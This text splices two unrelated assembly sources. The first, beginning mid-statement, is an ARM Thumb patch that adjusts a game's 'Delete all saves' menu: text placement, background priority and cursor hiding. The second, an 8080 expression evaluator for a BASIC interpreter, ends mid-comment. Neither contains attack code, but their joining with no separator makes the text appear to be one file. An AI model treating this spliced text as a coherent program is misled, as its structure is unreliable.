r1,=#0x2016028 cmp r0,#9 bne + ldrh r0,[r1,#0x1C] //Move the Y axys by 5 pixels mov r0,#3 strh r0,[r1,#0x1C] mov r0,#9 + cmp r0,#8 bx lr //============================================================================================= // This hack adds VRAM entries for the text in the "Delete all saves" menu. // It also hides BG1 //============================================================================================= .add_extra_vram: push {lr} add sp,#-4 ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#9 bne + ldr r0,=#0x2016028 ldrh r1,[r0,#0xC] mov r2,#3 orr r1,r2 strh r1,[r0,#0xC] //Hide BG1 until we need to show it mov r5,#1 neg r5,r5 mov r4,#0xF //Generic text stuff mov r0,#0x1D //"Delete all saves" text bl $80486A0 str r4,[sp,#0] mov r1,#0x3 mov r2,#4 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x21 //"Is that okay" text bl $80486A0 str r4,[sp,#0] mov r1,#0x3 mov r2,#5 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x03 //"Yes" text bl $80486A0 str r4,[sp,#0] mov r1,#0x7 mov r2,#6 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x04 //"No" text bl $80486A0 str r4,[sp,#0] mov r1,#0xB mov r2,#6 mov r3,r5 bl $8047B9C //Order printing mov r0,#9 + add sp,#4 pop {pc} //============================================================================================= // This hack hides BG1 (the VRAM backgorund). // Used when Yes or No has been pressed //============================================================================================= .hide_background: push {r1-r2} ldr r0,=#0x2016028 ldrh r1,[r0,#0xC] mov r2,#3 orr r1,r2 strh r1,[r0,#0xC] //Hide back VRAM content in BG1 mov r0,#0 pop {r1-r2} bx lr //============================================================================================= // This hack changes the BG0 and the BG1 priority for the "Delete all saves" menu. // BG1 (VRAM text) goes over BG0 (submenu window). // The default code goes on to print some OAM entries, which are skipped // in the "Delete all saves" menu. //============================================================================================= .change_background_priority_remove_oam: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#0x10 //Is this the saving menu? bne + ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#9 //Is this the "Delete all files" menu? bne + ldrh r0,[r4,#0xA] mov r1,#1 orr r0,r1 //Change BG0 priority to 1 strh r0,[r4,#0xA] ldrh r0,[r4,#0xC] mov r1,#4 neg r1,r1 and r0,r1 //Change BG1 priority to 0. Bring forth the text written in VRAM strh r0,[r4,#0xC] pop {r0} ldr r0,=#0x8045DE7 bx r0 //Sadly, we need to skip part of the routine and this is the best way that came to mind... + ldr r0,=#0x41CC //Default code add r4,r4,r0 pop {pc} //============================================================================================= // This hack removes the cursor while the "Delete all files" menu is loading up //============================================================================================= .remove_starting_cursor: push {lr} add sp,#-4 ldr r3,=#0x201A288 ldrb r3,[r3,#0] cmp r3,#0x10 bne + ldr r3,=#0x2004100 ldrb r3,[r3,#0] cmp r3,#0x9 bne + ldr r3,=#0x201A202 //0x2016028 + 0x41C6 ldrb r3,[r3,#0] cmp r3,#0x4 bne + b .remove_starting_cursor_end + ldr r3,[sp,#8] str r3,[sp,#0] mov r3,#0x20 //Function parameters bl $8046A28 .remove_starting_cursor_end: add sp,#4 pop {pc} //============================================================================================= // This hack makes it so the window is loaded up for the "Delete all files" menu only after // the fadein is over //============================================================================================= .hack: push {lr} push {r0-r3} ldr r2,=#0x2016028 ldr r0,=#0x41DA add r3,r2,r0 mov r1,#0x12 sub r1,r0,r1 add r0,r1,r2 //Load the submenu we're in. 5 is a sub-submenu ldrh r1,[r0,#4] //Load the subscreen we're in. 0x1D is the "Delete all saves" one. cmp r1,#0x1D bne + ldrh r1,[r0,#0] cmp r1,#5 bne + ldrb r0,[r3,#0] //Make it so this is properly added only once we can get the input cmp r0,#4 bne + mov r1,#0x86 add r1,r1,r3 ldrb r1,[r1,#0] cmp r1,#0x10 //Is this the file selection menu? bne + mov r1,#0x16 add r1,r1,r3 ldrh r0,[r1,#0] cmp r0,#0x16 //Have a 6 frames windows for the fadein to properly end bne + mov r0,#5 strb r0,[r3,#0] + pop {r0-r3} ldrb r0,[r0,#0] //Clobbered code lsl r0,r0,#0x1F pop {pc}
;********************************************************* ;* MODULE: EVALUATE ;* ;* DESCRIPTION: EVALUATION OF EXPRESSIONS: ;* ARITHMETIC, BINARY, RELATIONS, LOGICAL, ;* FUNCTIONS ;* .module evaluate .title Expression evaluation .include 'expreval.def' .include '..\common\common.def' .include '..\variables\variable.def' .include '..\integer\integer.def' .include '..\strings\strings.def' .include '..\error\error.def' .area _CODE ;********************************************************* ;* EVAL_EVALUATE: EVALUATE FUNCTION (KEYWORD IN ACC) EVAL_EVALUATE:: PUSH H STA EVAL_CURRKEYWORD ; EVALUATE BINARY CALCULATION CPI K_POWER JZ 1$ CPI K_MULTIPLY JZ 1$ CPI K_DIVIDE JZ 1$ CPI K_ADD JZ 1$ CPI K_SUBSTRACT JZ 1$ ; EVALUATE BINARY RELATION CPI K_EQUAL JZ 2$ CPI K_NOTEQUAL JZ 2$ CPI K_LESS JZ 2$ CPI K_GREATER JZ 2$ CPI K_LESSEQUAL JZ 2$ CPI K_GREATEREQUAL JZ 2$ ; EVALUATE LOGICAL OPERATION (BIN) CPI K_AND JZ 3$ CPI K_OR JZ 3$ CPI K_XOR JZ 3$ ; NEGATION (UNARY) CPI K_NEGATE JZ 4$ ; LOGICAL NOT (UNARY) CPI K_NOT JZ 5$ ; ABS CPI K_ABS JZ 6$ ; SGN CPI K_SGN JZ 7$ ; PEEK CPI K_PEEK JZ 8$ ; RND CPI K_RND JZ 9$ ; SQR CPI K_SQR JZ 10$ ; LEN CPI K_LEN JZ 11$ ; ASC CPI K_ASC JZ 12$ ; VAL CPI K_VAL JZ 13$ ; CHR$ CPI K_CHR JZ 14$ ; STR$ CPI K_STR JZ 15$ ; LEFT$ CPI K_LEFT JZ 16$ ; RIGHT$ CPI K_RIGHT JZ 17$ ; MID$ CPI K_MID JZ 18$ ; FRE CPI K_FRE JZ 19$ JMP ERR_SYNTAX 1$: CALL EVAL_BINARYOP CALL EVAL_CHECKSAMETYPE CALL EVAL_BINARYCALC JMP END 2$: CALL EVAL_BINARYOP CALL EVAL_CHECKSAMETYPE CALL EVAL_BINARYREL JMP END 3$: CALL EVAL_BINARYOP CALL EVAL_CHECKSAMETYPE CALL EVAL_BINARYLOG JMP END 4$: CALL EVAL_UNARYOP CALL EVAL_NEGATE JMP END 5$: CALL EVAL_UNARYOP CALL EVAL_NOT JMP END 6$: CALL EVAL_UNARYOP CALL EVAL_ABS JMP END 7$: CALL EVAL_UNARYOP CALL EVAL_SGN JMP END 8$: CALL EVAL_UNARYOP CALL EVAL_PEEK JMP END 9$: CALL EVAL_UNARYOP CALL EVAL_RND JMP END 10$: CALL EVAL_UNARYOP CALL EVAL_SQR JMP END 11$: CALL EVAL_UNARYOP CALL EVAL_LEN JMP END 12$: CALL EVAL_UNARYOP CALL EVAL_ASC JMP END 13$: CALL EVAL_UNARYOP CALL EVAL_VAL JMP END 14$: CALL EVAL_UNARYOP CALL EVAL_CHR JMP END 15$: CALL EVAL_UNARYOP CALL EVAL_STR JMP END 16$: CALL EVAL_BINARYOP CALL EVAL_LEFT JMP END 17$: CALL EVAL_BINARYOP CALL EVAL_RIGHT JMP END 18$: CALL EVAL_TERNARYOP CALL EVAL_MID JMP END 19$: CALL EVAL_UNARYOP CALL EVAL_FRE JMP END END: POP H RET ;********************************************************* ;* EVAL_UNARYOP: EXTRACT PARAMETERS FOR UNARY ;* OPERATION (VAR_TEMP1) EVAL_UNARYOP:: PUSH B CALL EVAL_COPY1 POP B RET ;********************************************************* ;* EVAL_BINARYOP: EXTRACT PARAMETERS FOR BINARY ;* OPERATION (VAR_TEMP1, VAR_TEMP2) EVAL_BINARYOP:: PUSH B CALL EVAL_COPY1 CALL EVAL_COPY2 POP B RET ;********************************************************* ;* EVAL_TERNARYOP: EXTRACT PARAMETERS FOR TERNARY ;* OPERATION (VAR_TEMP1, VAR_TEMP2, ;* VAR_TEMP3) EVAL_TERNARYOP: PUSH B CALL EVAL_COPY1 CALL EVAL_COPY2 CALL EVAL_COPY3 POP B RET ;********************************************************* ;* EVAL_CHECKSAMSTYPE: CHECKS IF VAR_TEMP1 & VAR_TEMP2 ;* ARE OF SAME TYPE EVAL_CHECKSAMETYPE: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC MOV B,A ; COPY TO B LDA VAR_TEMP2 ; TYPE OF VAR2 IN ACC CMP B JNZ ERR_TYPEMISMATCH RET ;********************************************************* ;* EVAL_BINARYCALC: EVALUATES BINARY CALCULATION ;* (+, -, * /) EVAL_BINARYCALC:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CSTR JZ 6$ ; OPERATION ON INTEGERS LHLD VAR_TEMP2+1 ; HL = VAR_TEMP2 VALUE SHLD INT_ACC0 ; PUT IN INT_ACC0 LXI H,VAR_TEMP1+1 MVI A,0 STA INT_OVERFLOW LDA EVAL_CURRKEYWORD ; ACC = CURR KEYWORD CPI K_ADD JZ 1$ CPI K_SUBSTRACT JZ 2$ CPI K_MULTIPLY JZ 3$ CPI K_DIVIDE JZ 4$ JMP ERR_SYNTAX 1$: ; ADD CALL INT_ADD JMP 5$ 2$: ; SUB CALL INT_SUB JMP 5$ 3$: ; MUL CALL INT_MUL JMP 5$ 4$: ; DIV CALL INT_DIV JMP 5$ 5$: LDA INT_OVERFLOW ORA A JNZ ERR_OVERFLOW LHLD INT_ACC0 ; READ OP RESULT SHLD VAR_TEMP3+1 ; PUT IN VAR_TEMP3 MVI A,SID_CINT ; FLAG AS AN INT STA VAR_TEMP3 ; PUT AT BEGINNING OF VAR_TEMP3 LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET 6$: ; OPERATION ON STRINGS LDA EVAL_CURRKEYWORD ; ACC = CURR KEYWORD CPI K_ADD ; ONLY ADD IS PERMITTED JNZ ERR_TYPEMISMATCH ORA A ; CLEAR CARRY LDA VAR_TEMP2+1 ; LENGTH OF STRING 1 MOV B,A ; COPY TO B LDA VAR_TEMP1+1 ; LENGTH OF STRING 2 ADD B ; ADD LENGTHS (RESULT IN ACC) JC ERR_STRTOOLONG ; CHECK FOR OVERFLOW STA VAR_TEMP3+1 ; STORE LENGTH IN VAR_TEMP3 LXI B,0x0000 ; NO PARENT CALL STR_ALLOCATE ; CREATE NEW STRING, PTR IN HL SHLD VAR_TEMP3+2 ; STORE PTR TO STRING IN TEMP3 ; CONCATENATE THE STRINGS XCHG ; SWAP DE<->HL LHLD VAR_TEMP2+2 ; ADDRESS OF STRING2 IN HL XCHG ; SWAP DE<->HL LDA VAR_TEMP2+1 ; LENGTH IN ACC MOV B,A ; COPY TO B CALL STR_COPY XCHG ; SWAP DE<->HL LHLD VAR_TEMP1+2 ; ADDRESS OF STRING1 IN HL XCHG ; SWAP DE<->HL LDA VAR_TEMP1+1 ; LENGTH IN ACC MOV B,A ; COPY TO B CALL STR_COPY MVI A,SID_CSTR ; FLAG AS STRING STA VAR_TEMP3 ; PUT AT BEGINNING OF VAR_TEMP3 LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_BINARYREL: EVALUATES BINARY RELATION ;* (< > <= >= = <>) EVAL_BINARYREL:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CSTR JZ 1$ ; OPERATION ON INTEGERS LHLD VAR_TEMP2+1 ; HL = VAR_TEMP2 VALUE SHLD INT_ACC0 ; PUT IN INT_ACC0 LXI H,VAR_TEMP1+1 CALL INT_CMP ; COMPARE THE INTS MOV B,A ; COPY RESULT IN B JMP 2$ 1$: ; OPERATION ON STRINGS LDA VAR_TEMP2+1 ; LENGTH OF STR2 IN ACC MOV B,A ; COPY TO B LDA VAR_TEMP1+1 ; LENGTH OF STR1 IN ACC MOV C,A ; COPY TO C LHLD VAR_TEMP2+2 ; ADDR OF STR2PTR IN HL XCHG ; HL<->DE LHLD VAR_TEMP1+2 ; ADDR OF STR1PTR IN HL CALL STR_CMP ; COMPARE STRINGS MOV B,A ; COPY RESULT IN B 2$: LDA EVAL_CURRKEYWORD ; ACC = CURR KEYWORD CPI K_EQUAL JZ 3$ CPI K_NOTEQUAL JZ 4$ CPI K_LESS JZ 5$ CPI K_GREATER JZ 6$ CPI K_LESSEQUAL JZ 7$ CPI K_GREATEREQUAL JZ 8$ JMP ERR_SYNTAX 3$: ; = MVI A,0x00 ; CHECK IF B == 0 ORA B JZ 9$ JMP 10$ 4$: ; <> MVI A,0x00 ; CHECK IF B <> 0 ORA B JZ 10$ JMP 9$ 5$: ; < MVI A,0xFF ; CHECK IF B = 0xFF CMP B JZ 9$ JMP 10$ 6$: ; > MVI A,0x01 ; CHECK IF B == 0x01 CMP B JZ 9$ JMP 10$ 7$: ; <= MVI A,0xFF ; CHECK IF B = 0xFF CMP B JZ 9$ JMP 3$ ; CHECK FOR EQUALITY 8$: ; >= MVI A,0x01 ; CHECK IF B = 0x01 CMP B JZ 9$ JMP 3$ ; CHECK FOR EQUALITY 9$: ; TRUE LXI H,0xFFFF JMP 11$ 10$: ; FALSE LXI H,0x0000 JMP 11$ 11$: SHLD VAR_TEMP3+1 ; PUT RESULT IN VAR_TEMP3 MVI A,SID_CINT ; FLAG AS AN INT STA VAR_TEMP3 ; PUT AT BEGINNING OF VAR_TEMP3 LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_BINARYLOG: EVALUATES LOGICAL RELATION (BINARY) ;* (AND OR XOR) EVAL_BINARYLOG:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LHLD VAR_TEMP2+1 ; HL = VAR_TEMP2 VALUE SHLD INT_ACC0 ; PUT IN INT_ACC0 LXI H,VAR_TEMP1+1 LDA EVAL_CURRKEYWORD ; ACC = CURR KEYWORD CPI K_AND JZ 1$ CPI K_OR JZ 2$ CPI K_XOR JZ 3$ JMP ERR_SYNTAX 1$: ; AND CALL INT_AND JMP 4$ 2$: ; OR CALL INT_OR JMP 4$ 3$: ; XOR CALL INT_XOR JMP 4$ 4$: LHLD INT_ACC0 ; READ OP RESULT SHLD VAR_TEMP3+1 ; PUT IN VAR_TEMP3 MVI A,SID_CINT ; FLAG AS AN INT STA VAR_TEMP3 ; PUT AT BEGINNING OF VAR_TEMP3 LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_NEGATE: EVALUATES INTEGER NEGATION EVAL_NEGATE:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LXI H,VAR_TEMP1+1 CALL INT_NEG LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_NOT: EVALUATES LOGICAL NOT EVAL_NOT:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LXI H,VAR_TEMP1+1 CALL INT_NOT LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_ABS: EVALUATES ABSOLUTE VALUE (INT) EVAL_ABS:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LXI H,VAR_TEMP1+1 CALL INT_ABS LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_SGN: EVALUATES SGN (INT) EVAL_SGN:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LXI H,VAR_TEMP1+1 CALL INT_SGN LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_PEEK: EVALUATES PEEK EVAL_PEEK:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LHLD VAR_TEMP1+1 ; ADDRESS IN HL MOV A,M ; READ MEMORY IN ACC MOV L,A ; L = VALUE MVI H,0 ; H = 0 SHLD VAR_TEMP1+1 ; PUT BACK IN VAR_TEMP1 LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_RND: EVALUATES RND (INT) EVAL_RND:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER CALL INT_RND LHLD INT_ACC0 ; READ BACK VALUE IN HL SHLD VAR_TEMP1+1 ; SAVE IN VAR_TEMP1 MVI A,SID_CINT ; FLAG AS AN INT STA VAR_TEMP1 ; PUT AT BEGINNING OF VAR_TEMP1 LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_SQR: EVALUATES SQR (INT) EVAL_SQR:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LXI H,VAR_TEMP1+1 CALL INT_SQR LHLD INT_ACC0 ; READ BACK VALUE IN HL SHLD VAR_TEMP1+1 ; SAVE IN VAR_TEMP1 LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_LEN: EVALUATES LEN (STR) EVAL_LEN:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CSTR JNZ ERR_TYPEMISMATCH ; MUST BE STRING MVI A,SID_CINT ; FLAG AS AN INT STA VAR_TEMP1 ; PUT AT BEGINNING OF VAR_TEMP1 ; VAR_TEMP1+1 ALREADY CONTAINS LO BYTE OF STR LENGTH MVI A,0 STA VAR_TEMP1+2 ; HI BYTE OF LENGTH LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_ASC: EVALUATES ASC (STR) EVAL_ASC:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CSTR JNZ ERR_TYPEMISMATCH ; MUST BE STRING LDA VAR_TEMP1+1 ; READ STRING LENGTH ORA A ; CHECK IF ZERO JZ ERR_ILLEGAL LHLD VAR_TEMP1+2 ; READ ADDRESS OF STRING DATA MVI A,SID_CINT ; FLAG AS INT STA VAR_TEMP1 ; PUT AT BEGINNING OF VAR_TEMP1 MOV A,M ; READ FIRST CHAR IN ACC STA VAR_TEMP1+1 ; PUT AS LO BYTE MVI A,0 STA VAR_TEMP1+2 ; HI BYTE = 0 LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_VAL: EVALUATES VAL (STR) EVAL_VAL:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CSTR JNZ ERR_TYPEMISMATCH ; MUST BE STRING LDA VAR_TEMP1+1 ; READ STRING LENGTH ORA A ; CHECK IF ZERO JZ ERR_ILLEGAL LHLD VAR_TEMP1+2 ; READ ADDRESS OF STRING DATA CALL INT_ATOI ; CONVERT TO INT, LHLD INT_ACC0 ; READ RESULT SHLD VAR_TEMP1+1 ; COPY TO VAR_TEMP1 MVI A,SID_CINT ; FLAG AS INT STA VAR_TEMP1 ; PUT AT BEGINNING OF VAR_TEMP1 LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_CHR: EVALUATES CHR$ (STR) EVAL_CHR:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LDA VAR_TEMP1+2 ; READ HI BYTE OF INT IN ACC ORA A JNZ ERR_ILLEGAL MVI A,1 ; LENGTH OF STRING LXI B,0x0000 ; NO PARENT CALL STR_ALLOCATE ; ALLOCATE STRING OF 1 CHAR LDA VAR_TEMP1+1 ; READ LO BYTE OF INT IN ACC MOV M,A ; SAVE IN NEW STRING MVI A,SID_CSTR ; FLAG AS STRING STA VAR_TEMP1 ; PUT AT BEGINNING OF VAR_TEMP1 MVI A,1 ; LENGTH STA VAR_TEMP1+1 SHLD VAR_TEMP1+2 ; PTR TO STRING LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_STR: EVALUATES STR$ (STR) EVAL_STR:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LHLD VAR_TEMP1+1 ; READ VALUE IN HL SHLD INT_ACC0 ; PUT IN INT_ACC0 MVI A,SID_CSTR ; FLAG AS STRING STA VAR_TEMP2 CALL INT_ITOA ; CONVERT TO STRING XCHG ; ADDRESS OF STRING IN DE ; LENGTH IS IN ACC STA VAR_TEMP2+1 ; PUT LENGTH IN VAR_TEMP2 LXI B,0x0000 ; NO PARENT CALL STR_ALLOCATE ; ALLOCATE NEW STRING SHLD VAR_TEMP2+2 ; PUT NEW STRPTR IN VAR_TEMP2 MOV B,A ; COPY LENGTH TO B CALL STR_COPY ; COPY STRING LXI H,VAR_TEMP2 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_LEFT: EVALUATES LEFT$ (STR) EVAL_LEFT:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LHLD VAR_TEMP1+1 ; LOAD LENGTH IN HL MOV A,H ; HI BYTE IN ACC ORA A ; MUST BE ZERO JNZ ERR_ILLEGAL ; (0..255) LDA VAR_TEMP2 ; TYPE OF VAR2 IN ACC CPI SID_CSTR JNZ ERR_TYPEMISMATCH ; MUST BE STRING LDA VAR_TEMP2+1 ; LENGTH OF STRING IN ACC CMP L ; CHECK IF SIZE > STR LENTGH JAE 2$ MOV L,A 2$: MVI A,SID_CSTR ; FLAG AS STRING STA VAR_TEMP3 MOV A,L ; LENGTH OF SUBSTRING STA VAR_TEMP3+1 LXI B,0x0000 ; NO PARENT CALL STR_ALLOCATE ; CREATE NEW STRING ; ADDR IN H-L SHLD VAR_TEMP3+2 XCHG ; HL<->DE MOV B,A ; LENGTH TO COPY IN B LHLD VAR_TEMP2+2 ; SOURCE STRING XCHG CALL STR_COPY ; COPY STRING LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_RIGHT: EVALUATES RIGHT$ (STR) EVAL_RIGHT:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LHLD VAR_TEMP1+1 ; LOAD LENGTH IN HL MOV A,H ; HI BYTE IN ACC ORA A ; MUST BE ZERO JNZ ERR_ILLEGAL ; (0..255) XCHG ; SWAP HL<->DE LDA VAR_TEMP2 ; TYPE OF VAR2 IN ACC CPI SID_CSTR JNZ ERR_TYPEMISMATCH ; MUST BE STRING LDA VAR_TEMP2+1 ; LENGTH OF STRING IN ACC LHLD VAR_TEMP2+2 ; SOURCE STRING MOV C,A ; COPY 0/SIZE IN B/C MVI B,0 ; DAD B ; ADD SIZE TO SOURCE PTR CMP E ; CHECK IF SIZE > STR LENTGH JAE 2$ MOV E,A 2$: MOV A,E ; LENGTH OF SUBSTRING STA VAR_TEMP3+1 CMA ; LEN = ~LEN MOV C,A ; COPY -LEN IN B-C INR C MVI B,0xFF ; DAD B ; SUBSTRACT LEN FROM SOURCE PTR SHLD VAR_TEMP2+2 ; PUT BACK IN VAR_TEMP2 MVI A,SID_CSTR ; FLAG AS STRING STA VAR_TEMP3 MOV A,E ; LENGTH IN ACC LXI B,0x0000 ; NO PARENT CALL STR_ALLOCATE ; CREATE NEW STRING ; ADDR IN H-L SHLD VAR_TEMP3+2 XCHG ; HL<->DE MOV B,A ; LENGTH TO COPY IN B LHLD VAR_TEMP2+2 ; SOURCE STRING XCHG CALL STR_COPY ; COPY STRING LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_MID: EVALUATES MID$ (STR) ;* VAR_TEMP3: SOURCE STRING ;* VAR_TEMP2: POS IN SOURCE STRING ;* VAR_TEMP1: LENGTH OF SUBSTRING EVAL_MID:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LDA VAR_TEMP2 ; TYPE OF VAR2 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER LDA VAR_TEMP3 ; TYPE OF VAR3 IN ACC CPI SID_CSTR JNZ ERR_TYPEMISMATCH ; MUST BE STRING LHLD VAR_TEMP2+1 ; LOAD POS IN HL MOV A,H ; HI BYTE IN ACC ORA A ; (MUST BE ZERO) JNZ ERR_ILLEGAL MOV A,L ; CHECK LO BYTE ORA A ; (ZERO INVALID) JZ ERR_ILLEGAL LDA VAR_TEMP3+1 ; SIZE OF SOURCE STRING IN ACC CMP L ; COMPARE WITH POS JAE 2$ ; POS IS GREATER THAN INITIAL STRING LENGTH -> RETURN EMPTY STR MVI A,0 ; EMPTY STRING LXI B,0x0000 ; NO PARENT CALL STR_ALLOCATE ; CREATE NEW STRING STA VAR_TEMP3+1 ; STORE LENGTH IN VAR_TEMP3 SHLD VAR_TEMP3+2 ; STORE STR PTR MVI A,SID_CSTR ; FLAG AS STRING STA VAR_TEMP3; LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET 2$: MOV B,A ; SIZE OF SOURCE STRING IN B DCR L ; POS = POS-1 XCHG ; HL<->DE LHLD VAR_TEMP1+1 ; LENGTH OF SUBSTRING IN HL MOV A,H ; HI BYTE IN ACC ORA A ; (MUST BE ZERO) JNZ ERR_ILLEGAL MOV A,E ; POS-1 IN ACC ADD L ; + LENGTH JC 3$ ; CHECK FOR OVERFLOW CMP B ; COMPARE WITH SIZE JB 4$ JZ 4$ ; SKIP IF <= ; AJUST SUBSTRING LEN SO IT DOESN'T GO PAST THE END OF THE SOURCE STR 3$: MOV A,B ; SIZE OF SOURCE STR IN ACC SUB E ; SIZE - (POS-1) MOV L,A ; NEW LENGTH IN L 4$: MOV A,L ; LENGTH OF SUBSTR IN ACC LHLD VAR_TEMP3+2 ; SOURCE STR PTR IN HL DAD D ; ADD (POS-1) XCHG ; HL<->DE LXI B,0x0000 ; NO PARENT CALL STR_ALLOCATE ; ALLOCATE NEW STRING (HL) SHLD VAR_TEMP3+2 ; PUT IN VAR_TEMP3 MOV B,A ; LENGTH OF STR STA VAR_TEMP3+1 ; PUT IN VAR_TEMP3 CALL STR_COPY ; COPY STRING LXI H,VAR_TEMP3 ; ADDRESS OF VAR_TEMP3 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_FRE: RETURNS FREE MEMORY (INT) ;* CALCULATED AS BOTTOM OF STR ARA ;* MINUS TOP OF VARIABLE AREA EVAL_FRE:: LDA VAR_TEMP1 ; TYPE OF VAR1 IN ACC CPI SID_CINT JNZ ERR_TYPEMISMATCH ; MUST BE INTEGER CALL STR_GARBAGECOLLECTION ; CLEAN-UP STRING AREA LHLD STR_LOPTR ; BOTTOM OF STR PTR SHLD INT_ACC0 ; IN INT_ACC0 LXI H,VAR_HIPTR ; HL POINTS TO TOP OV VAR MEM CALL INT_SUB ; PERFORM SUBSTRACTION LHLD INT_ACC0 ; READ BACK VALUE IN HL SHLD VAR_TEMP1+1 ; SAVE IN VAR_TEMP1 MVI A,SID_CINT ; FLAG AS AN INT STA VAR_TEMP1 ; PUT AT BEGINNING OF VAR_TEMP1 LXI H,VAR_TEMP1 ; ADDRESS OF VAR_TEMP1 IN HL CALL EXP_PUSH ; PUSH RESULT ON STACK RET ;********************************************************* ;* EVAL_COPY1: POP FROM EXP STACK AND COPY VAR TO VAR_TEMP1 EVAL_COPY1: CALL EXP_POP ; ADDR OF DATA IN H-L MOV A,M ; DATA TYPE IN ACC CPI SID_VAR ; CHECK IF VAR JZ GETVAR1 STA VAR_TEMP1 ; BYTE 1 INX H MOV A,M STA VAR_TEMP1+1 ; BYTE 2 INX H MOV A,M ; BYTE 3 STA VAR_TEMP1+2 INX H MOV A,M ; BYTE 4 STA VAR_TEMP1+3 INX H RET GETVAR1: INX H ; HL++ MOV B,M ; TAG[0] INX H ; HL++ MOV C,M ; TAG[1] LXI H,VAR_TEMP1 CALL VAR_GET RET ;********************************************************* ;* EVAL_COPY2: POP FROM EXP STACK AND COPY VAR TO 